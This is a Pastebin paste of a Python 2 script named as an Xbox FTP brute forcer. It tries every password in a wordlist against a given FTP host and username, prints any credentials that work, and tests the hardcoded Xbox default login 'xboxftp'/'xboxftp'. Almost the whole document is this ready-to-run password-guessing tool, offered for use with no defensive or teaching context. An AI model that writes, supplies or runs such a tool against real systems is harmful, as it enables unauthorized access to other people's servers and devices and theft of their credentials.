Advertisement
Guest User

Untitled

a guest
Dec 20th, 2017
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.02 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding:utf-8 -*-
  3.  
  4. __author__ = 'Daniel Godoy'
  5.  
  6. import argparse
  7. import sys
  8. from ftplib import FTP
  9.  
  10. info = '''
  11. Usage: ./xbox_ftp_brute_forcer.py [options]\n
  12. Options: -t, --target    <hostname/ip>   |   Target\n
  13.         -u, --user      <user>          |   User\n
  14.         -w, --wordlist  <filename>      |   Wordlist\n
  15.         -h, --help      <help>          |   print help\n
  16.  
  17. Example: ./ftp_brute_forcer.py -t 192.168.1.1 -u root -w /root/Desktop/wordlist.txt
  18. '''
  19.  
  20.  
  21. def help():
  22.     print info
  23.     sys.exit(0)
  24.  
  25.  
  26. def check_default_login(target):
  27.     try:
  28.         ftp = FTP(target)
  29.         ftp.login('xboxftp', 'xboxftp')
  30.         ftp.quit()
  31.         print "\n[+] Default login is open."
  32.         print "\n[+] Username : xboxftp"
  33.         print "\n[+] Password : xboxftp\n"
  34.         ftp.quit()
  35.     except:
  36.         pass
  37.  
  38.  
  39. def ftp_login(target, username, password):
  40.     try:
  41.         ftp = FTP(target)
  42.         ftp.login(username, password)
  43.         ftp.quit()
  44.         print "\n[*] Credentials have found."
  45.         print "\n[*] Username : {}".format(username)
  46.         print "\n[*] Password : {}".format(password)
  47.         return True
  48.     except:
  49.         return False
  50.  
  51.  
  52. def brute_force(target, username, wordlist):
  53.     try:
  54.         wordlist = open(wordlist, "r")
  55.         words = wordlist.readlines()
  56.         for word in words:
  57.             word = word.strip()
  58.             if ftp_login(target, username, word):
  59.                 break
  60.     except:
  61.         print "\n[-] There is no such wordlist file. \n"
  62.         sys.exit(0)
  63.  
  64.  
  65.  
  66. parser = argparse.ArgumentParser()
  67. parser.add_argument("-t", "--target")
  68. parser.add_argument("-u", "--username")
  69. parser.add_argument("-w", "--wordlist")
  70.  
  71. args = parser.parse_args()
  72.  
  73. if not args.target or not args.username or not args.wordlist:
  74.     help()
  75.     sys.exit(0)
  76.  
  77. target = args.target
  78. username = args.username
  79. wordlist = args.wordlist
  80.  
  81. brute_force(target, username, wordlist)
  82. check_default_login(target)
  83. print "\n[-] Brute force finished. \n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement